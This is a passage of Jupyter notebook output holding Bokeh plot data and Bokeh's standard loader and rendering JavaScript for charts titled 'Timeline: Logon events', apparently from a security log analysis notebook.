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chart\",\"text_font_size\":\"10px\"},\"id\":\"1202\",\"type\":\"Title\"},{\"attributes\":{\"num_minor_ticks\":5,\"tickers\":[{\"id\":\"1247\"},{\"id\":\"1248\"},{\"id\":\"1249\"},{\"id\":\"1250\"},{\"id\":\"1251\"},{\"id\":\"1252\"},{\"id\":\"1253\"},{\"id\":\"1254\"},{\"id\":\"1255\"},{\"id\":\"1256\"},{\"id\":\"1257\"},{\"id\":\"1258\"}]},\"id\":\"1198\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1244\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1218\",\"type\":\"Scatter\"},{\"attributes\":{\"active_multi\":{\"id\":\"1210\"},\"tools\":[{\"id\":\"1210\"}]},\"id\":\"1201\",\"type\":\"Toolbar\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"marker\":{\"value\":\"diamond\"},\"size\":{\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1219\",\"type\":\"Scatter\"},{\"attributes\":{},\"id\":\"1229\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"1258\",\"type\":\"YearsTicker\"},{\"attributes\":{\"axis\":{\"id\":\"1165\"},\"minor_grid_line_alpha\":0.3,\"minor_grid_line_color\":\"navy\",\"ticker\":null},\"id\":\"1168\",\"type\":\"Grid\"},{\"attributes\":{\"text\":\"Range Selector\"},\"id\":\"1187\",\"type\":\"Title\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1215\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"months\":[0,6]},\"id\":\"1257\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"start\":-1.0},\"id\":\"1159\",\"type\":\"Range1d\"},{\"attributes\":{\"text\":\"Timeline: Logon events\"},\"id\":\"1155\",\"type\":\"Title\"}],\"root_ids\":[\"1222\"]},\"title\":\"Bokeh Application\",\"version\":\"2.3.2\"}};\n",
       "  var render_items = [{\"docid\":\"2ca78564-2d44-440b-96bf-25546b82cd3d\",\"root_ids\":[\"1222\"],\"roots\":{\"1222\":\"985c775d-0bc4-4a9e-bdb2-96e033d15b18\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        clearInterval(timer);\n",
       "        embed_document(root);\n",
       "      } else {\n",
       "        attempts++;\n",
       "        if (attempts > 100) {\n",
       "          clearInterval(timer);\n",
       "          console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        }\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1222"
      }
     },
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "    <div class=\"bk-root\">\n",
       "        <a href=\"https://bokeh.org\" target=\"_blank\" class=\"bk-logo bk-logo-small bk-logo-notebook\"></a>\n",
       "        <span id=\"1445\">Loading BokehJS ...</span>\n",
       "    </div>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "\n",
       "(function(root) {\n",
       "  function now() {\n",
       "    return new Date();\n",
       "  }\n",
       "\n",
       "  var force = true;\n",
       "\n",
       "  if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n",
       "    root._bokeh_onload_callbacks = [];\n",
       "    root._bokeh_is_loading = undefined;\n",
       "  }\n",
       "\n",
       "  var JS_MIME_TYPE = 'application/javascript';\n",
       "  var HTML_MIME_TYPE = 'text/html';\n",
       "  var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n",
       "  var CLASS_NAME = 'output_bokeh rendered_html';\n",
       "\n",
       "  /**\n",
       "   * Render data to the DOM node\n",
       "   */\n",
       "  function render(props, node) {\n",
       "    var script = document.createElement(\"script\");\n",
       "    node.appendChild(script);\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when an output is cleared or removed\n",
       "   */\n",
       "  function handleClearOutput(event, handle) {\n",
       "    var cell = handle.cell;\n",
       "\n",
       "    var id = cell.output_area._bokeh_element_id;\n",
       "    var server_id = cell.output_area._bokeh_server_id;\n",
       "    // Clean up Bokeh references\n",
       "    if (id != null && id in Bokeh.index) {\n",
       "      Bokeh.index[id].model.document.clear();\n",
       "      delete Bokeh.index[id];\n",
       "    }\n",
       "\n",
       "    if (server_id !== undefined) {\n",
       "      // Clean up Bokeh references\n",
       "      var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n",
       "      cell.notebook.kernel.execute(cmd, {\n",
       "        iopub: {\n",
       "          output: function(msg) {\n",
       "            var id = msg.content.text.trim();\n",
       "            if (id in Bokeh.index) {\n",
       "              Bokeh.index[id].model.document.clear();\n",
       "              delete Bokeh.index[id];\n",
       "            }\n",
       "          }\n",
       "        }\n",
       "      });\n",
       "      // Destroy server and session\n",
       "      var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n",
       "      cell.notebook.kernel.execute(cmd);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  /**\n",
       "   * Handle when a new output is added\n",
       "   */\n",
       "  function handleAddOutput(event, handle) {\n",
       "    var output_area = handle.output_area;\n",
       "    var output = handle.output;\n",
       "\n",
       "    // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n",
       "    if ((output.output_type != \"display_data\") || (!Object.prototype.hasOwnProperty.call(output.data, EXEC_MIME_TYPE))) {\n",
       "      return\n",
       "    }\n",
       "\n",
       "    var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n",
       "\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n",
       "      toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n",
       "      // store reference to embed id on output_area\n",
       "      output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n",
       "    }\n",
       "    if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n",
       "      var bk_div = document.createElement(\"div\");\n",
       "      bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n",
       "      var script_attrs = bk_div.children[0].attributes;\n",
       "      for (var i = 0; i < script_attrs.length; i++) {\n",
       "        toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n",
       "        toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n",
       "      }\n",
       "      // store reference to server id on output_area\n",
       "      output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n",
       "    }\n",
       "  }\n",
       "\n",
       "  function register_renderer(events, OutputArea) {\n",
       "\n",
       "    function append_mime(data, metadata, element) {\n",
       "      // create a DOM node to render to\n",
       "      var toinsert = this.create_output_subarea(\n",
       "        metadata,\n",
       "        CLASS_NAME,\n",
       "        EXEC_MIME_TYPE\n",
       "      );\n",
       "      this.keyboard_manager.register_events(toinsert);\n",
       "      // Render to node\n",
       "      var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n",
       "      render(props, toinsert[toinsert.length - 1]);\n",
       "      element.append(toinsert);\n",
       "      return toinsert\n",
       "    }\n",
       "\n",
       "    /* Handle when an output is cleared or removed */\n",
       "    events.on('clear_output.CodeCell', handleClearOutput);\n",
       "    events.on('delete.Cell', handleClearOutput);\n",
       "\n",
       "    /* Handle when a new output is added */\n",
       "    events.on('output_added.OutputArea', handleAddOutput);\n",
       "\n",
       "    /**\n",
       "     * Register the mime type and append_mime function with output_area\n",
       "     */\n",
       "    OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n",
       "      /* Is output safe? */\n",
       "      safe: true,\n",
       "      /* Index of renderer in `output_area.display_order` */\n",
       "      index: 0\n",
       "    });\n",
       "  }\n",
       "\n",
       "  // register the mime type if in Jupyter Notebook environment and previously unregistered\n",
       "  if (root.Jupyter !== undefined) {\n",
       "    var events = require('base/js/events');\n",
       "    var OutputArea = require('notebook/js/outputarea').OutputArea;\n",
       "\n",
       "    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n",
       "      register_renderer(events, OutputArea);\n",
       "    }\n",
       "  }\n",
       "\n",
       "  \n",
       "  if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n",
       "    root._bokeh_timeout = Date.now() + 5000;\n",
       "    root._bokeh_failed_load = false;\n",
       "  }\n",
       "\n",
       "  var NB_LOAD_WARNING = {'data': {'text/html':\n",
       "     \"<div style='background-color: #fdd'>\\n\"+\n",
       "     \"<p>\\n\"+\n",
       "     \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n",
       "     \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n",
       "     \"</p>\\n\"+\n",
       "     \"<ul>\\n\"+\n",
       "     \"<li>re-rerun `output_notebook()` to attempt to load from CDN again, or</li>\\n\"+\n",
       "     \"<li>use INLINE resources instead, as so:</li>\\n\"+\n",
       "     \"</ul>\\n\"+\n",
       "     \"<code>\\n\"+\n",
       "     \"from bokeh.resources import INLINE\\n\"+\n",
       "     \"output_notebook(resources=INLINE)\\n\"+\n",
       "     \"</code>\\n\"+\n",
       "     \"</div>\"}};\n",
       "\n",
       "  function display_loaded() {\n",
       "    var el = document.getElementById(\"1445\");\n",
       "    if (el != null) {\n",
       "      el.textContent = \"BokehJS is loading...\";\n",
       "    }\n",
       "    if (root.Bokeh !== undefined) {\n",
       "      if (el != null) {\n",
       "        el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n",
       "      }\n",
       "    } else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(display_loaded, 100)\n",
       "    }\n",
       "  }\n",
       "\n",
       "\n",
       "  function run_callbacks() {\n",
       "    try {\n",
       "      root._bokeh_onload_callbacks.forEach(function(callback) {\n",
       "        if (callback != null)\n",
       "          callback();\n",
       "      });\n",
       "    } finally {\n",
       "      delete root._bokeh_onload_callbacks\n",
       "    }\n",
       "    console.debug(\"Bokeh: all callbacks have finished\");\n",
       "  }\n",
       "\n",
       "  function load_libs(css_urls, js_urls, callback) {\n",
       "    if (css_urls == null) css_urls = [];\n",
       "    if (js_urls == null) js_urls = [];\n",
       "\n",
       "    root._bokeh_onload_callbacks.push(callback);\n",
       "    if (root._bokeh_is_loading > 0) {\n",
       "      console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n",
       "      return null;\n",
       "    }\n",
       "    if (js_urls == null || js_urls.length === 0) {\n",
       "      run_callbacks();\n",
       "      return null;\n",
       "    }\n",
       "    console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n",
       "    root._bokeh_is_loading = css_urls.length + js_urls.length;\n",
       "\n",
       "    function on_load() {\n",
       "      root._bokeh_is_loading--;\n",
       "      if (root._bokeh_is_loading === 0) {\n",
       "        console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n",
       "        run_callbacks()\n",
       "      }\n",
       "    }\n",
       "\n",
       "    function on_error(url) {\n",
       "      console.error(\"failed to load \" + url);\n",
       "    }\n",
       "\n",
       "    for (let i = 0; i < css_urls.length; i++) {\n",
       "      const url = css_urls[i];\n",
       "      const element = document.createElement(\"link\");\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.rel = \"stylesheet\";\n",
       "      element.type = \"text/css\";\n",
       "      element.href = url;\n",
       "      console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n",
       "      document.body.appendChild(element);\n",
       "    }\n",
       "\n",
       "    const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\": \"XypntL49z55iwGVUW4qsEu83zKL3XEcz0MjuGOQ9SlaaQ68X/g+k1FcioZi7oQAc\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\": \"bEsM86IHGDTLCS0Zod8a8WM6Y4+lafAL/eSiyQcuPzinmWNgNO2/olUF0Z2Dkn5i\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\": \"TX0gSQTdXTTeScqxj6PVQxTiRW8DOoGVwinyi1D3kxv7wuxQ02XkOxv0xwiypcAH\"};\n",
       "\n",
       "    for (let i = 0; i < js_urls.length; i++) {\n",
       "      const url = js_urls[i];\n",
       "      const element = document.createElement('script');\n",
       "      element.onload = on_load;\n",
       "      element.onerror = on_error.bind(null, url);\n",
       "      element.async = false;\n",
       "      element.src = url;\n",
       "      if (url in hashes) {\n",
       "        element.crossOrigin = \"anonymous\";\n",
       "        element.integrity = \"sha384-\" + hashes[url];\n",
       "      }\n",
       "      console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n",
       "      document.head.appendChild(element);\n",
       "    }\n",
       "  };\n",
       "\n",
       "  function inject_raw_css(css) {\n",
       "    const element = document.createElement(\"style\");\n",
       "    element.appendChild(document.createTextNode(css));\n",
       "    document.body.appendChild(element);\n",
       "  }\n",
       "\n",
       "  \n",
       "  var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.3.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.3.2.min.js\"];\n",
       "  var css_urls = [];\n",
       "  \n",
       "\n",
       "  var inline_js = [\n",
       "    function(Bokeh) {\n",
       "      Bokeh.set_log_level(\"info\");\n",
       "    },\n",
       "    function(Bokeh) {\n",
       "    \n",
       "    \n",
       "    }\n",
       "  ];\n",
       "\n",
       "  function run_inline_js() {\n",
       "    \n",
       "    if (root.Bokeh !== undefined || force === true) {\n",
       "      \n",
       "    for (var i = 0; i < inline_js.length; i++) {\n",
       "      inline_js[i].call(root, root.Bokeh);\n",
       "    }\n",
       "    if (force === true) {\n",
       "        display_loaded();\n",
       "      }} else if (Date.now() < root._bokeh_timeout) {\n",
       "      setTimeout(run_inline_js, 100);\n",
       "    } else if (!root._bokeh_failed_load) {\n",
       "      console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
       "      root._bokeh_failed_load = true;\n",
       "    } else if (force !== true) {\n",
       "      var cell = $(document.getElementById(\"1445\")).parents('.cell').data().cell;\n",
       "      cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
       "    }\n",
       "\n",
       "  }\n",
       "\n",
       "  if (root._bokeh_is_loading === 0) {\n",
       "    console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n",
       "    run_inline_js();\n",
       "  } else {\n",
       "    load_libs(css_urls, js_urls, function() {\n",
       "      console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n",
       "      run_inline_js();\n",
       "    });\n",
       "  }\n",
       "}(window));"
      ],
      "application/vnd.bokehjs_load.v0+json": ""
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "\n",
       "  <div class=\"bk-root\" id=\"0b8aa171-245c-4d31-8e65-2b45de40ac21\" data-root-id=\"1530\"></div>\n"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "application/javascript": [
       "(function(root) {\n",
       "  function embed_document(root) {\n",
       "    \n",
       "  var docs_json = {\"e7a54260-984e-4d3c-945f-f929daf8fe47\":{\"defs\":[],\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1449\"},{\"id\":\"1481\"}]},\"id\":\"1530\",\"type\":\"Column\"},{\"attributes\":{\"formatter\":{\"id\":\"1498\"},\"major_label_policy\":{\"id\":\"1538\"},\"ticker\":{\"id\":\"1493\"}},\"id\":\"1492\",\"type\":\"DatetimeAxis\"},{\"attributes\":{\"below\":[{\"id\":\"1460\"}],\"center\":[{\"id\":\"1463\"},{\"id\":\"1467\"}],\"height\":300,\"left\":[{\"id\":\"1464\"},{\"id\":\"1529\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"1520\"},{\"id\":\"1526\"}],\"title\":{\"id\":\"1450\"},\"toolbar\":{\"id\":\"1474\"},\"width\":900,\"x_range\":{\"id\":\"1452\"},\"x_scale\":{\"id\":\"1456\"},\"y_range\":{\"id\":\"1454\"},\"y_scale\":{\"id\":\"1458\"}},\"id\":\"1449\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"formatter\":{\"id\":\"1537\"},\"major_label_policy\":{\"id\":\"1535\"},\"ticker\":{\"id\":\"1465\"},\"visible\":false},\"id\":\"1464\",\"type\":\"LinearAxis\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"1544\"},{\"id\":\"1545\"},{\"id\":\"1546\"},{\"id\":\"1547\"},{\"id\":\"1548\"},{\"id\":\"1549\"},{\"id\":\"1550\"},{\"id\":\"1551\"},{\"id\":\"1552\"},{\"id\":\"1553\"},{\"id\":\"1554\"},{\"id\":\"1555\"}]},\"id\":\"1461\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"end\":1.5,\"start\":-0.5},\"id\":\"1454\",\"type\":\"Range1d\"},{\"attributes\":{\"end\":1624959810885.4001,\"start\":1624442015848.6},\"id\":\"1452\",\"type\":\"Range1d\"},{\"attributes\":{\"axis\":{\"id\":\"1464\"},\"dimension\":1,\"grid_line_color\":null,\"ticker\":null},\"id\":\"1467\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"1486\",\"type\":\"DataRange1d\"},{\"attributes\":{\"text\":\"Timeline: Logon events by 